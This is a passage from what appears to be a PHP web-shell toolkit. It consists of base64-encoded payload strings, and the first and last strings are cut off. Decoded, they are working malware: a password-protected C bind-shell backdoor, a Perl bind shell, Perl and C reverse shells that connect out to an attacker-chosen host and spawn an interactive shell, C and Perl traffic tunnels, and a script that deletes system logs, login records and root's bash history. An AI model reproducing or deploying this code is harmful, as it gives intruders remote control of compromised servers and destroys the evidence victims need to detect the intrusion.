GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
$log_pl="IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CgogIHN5c3RlbSAiZWNobyAtZSBcIlwwMzNbMDE7MzRtU3RhcnRlZCBNU1JtbCBWMC4xIGJ5IFBSSVtsbCBPayAhIVwwMzNbMDE7MzdtXCJcbiI7CiAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtQ2xlYW5pbmcgdXAgbG9ncyAuLi5cIlxuIjsKICBzeXN0ZW0gImVjaG8gLWUgXCJcMDMzWzAxOzM0bS0tLS0tLS0tLWVyYXNpbmcgZGVmYXVsdCBsb2cgZmlsZXMgKHRvbyBmYXN0ID0pKS0tLS0tLS0tLVwwMzNbMDE7MzdtXCJcbiI7CiAgICBpZiggLWUgIi92YXIvbG9nL2xhc3Rsb2ciICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9sb2cvbGFzdGxvZyc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9sb2cvbGFzdGxvZyAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS92YXIvbG9nL2xhc3Rsb2cgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgICBpZiggLWUgIi92YXIvbG9nL3d0bXAiICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9sb2cvd3RtcCc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9sb2cvd3RtcCAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS92YXIvbG9nL3d0bXAgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL2V0Yy93dG1wIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC9ldGMvd3RtcCc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL2V0Yy93dG1wIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vZXRjL3d0bXAgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL3Zhci9ydW4vdXRtcCIgKQogICAgICB7CiAgICAgICBzeXN0ZW0gJ3JtIC1yZiAvdmFyL3J1bi91dG1wJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdmFyL3J1bi91dG1wIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vdmFyL3J1bi91dG1wIC0gTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeVxcMDMzWzAxOzM3bVwiXG4iOwogICAgICB9CiAgICBpZiggLWUgIi9ldGMvdXRtcCIgKQogICAgICB7CiAgICAgICBzeXN0ZW0gJ3JtIC1yZiAvZXRjL3V0bXAnOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS9ldGMvdXRtcCAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL2V0Yy91dG1wIC0gTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeVxcMDMzWzAxOzM3bVwiXG4iOwogICAgICB9CiAgICBpZiggLWUgIi92YXIvbG9nIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC92YXIvbG9nJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdmFyL2xvZyAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Zhci9sb2cgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgICAgIGlmKCAtZSAiL3Zhci9sb2dzIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC92YXIvbG9ncyc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9sb2dzIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vdmFyL2xvZ3MgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL3Zhci9hZG0iICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9hZG0nOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS92YXIvYWRtIC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vdmFyL2FkbSAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvdmFyL2FwYWNoZS9sb2ciICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9hcGFjaGUvbG9nJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdmFyL2FwYWNoZS9sb2cgLWVyYXNlZCBPa1wiXG4iOwogICAgICB9CiAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Zhci9hcGFjaGUvbG9nIC0gTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeVxcMDMzWzAxOzM3bVwiXG4iOwogICAgICB9CiAgICBpZiggLWUgIi92YXIvYXBhY2hlL2xvZ3MiICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Zhci9hcGFjaGUvbG9ncyc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Zhci9hcGFjaGUvbG9ncyAtZXJhc2VkIE9rXCJcbiI7CiAgICAgIH0KICAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Zhci9hcGFjaGUvbG9ncyAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvdXNyL2xvY2FsL2FwYWNoZS9sb2ciICkKICAgICAgewogICAgICAgc3lzdGVtICdybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9nJzsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bSBbKl0vdXNyL2xvY2FsL2FwYWNoZS9sb2cgLWVyYXNlZCBPa1wiXG4iOwogICAgICB9CiAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS91c3IvbG9jYWwvYXBhY2hlL2xvZyAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvdXNyL2xvY2FsL2FwYWNoZS9sb2dzIiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MnOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS91c3IvbG9jYWwvYXBhY2hlL2xvZ3MgLWVyYXNlZCBPa1wiXG4iOwogICAgICB9CiAgIGVsc2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvcm9vdC8uYmFzaF9oaXN0b3J5IiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC9yb290Ly5iYXNoX2hpc3RvcnknOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS9yb290Ly5iYXNoX2hpc3RvcnkgLWVyYXNlZCBPa1wiXG4iOwogICAgI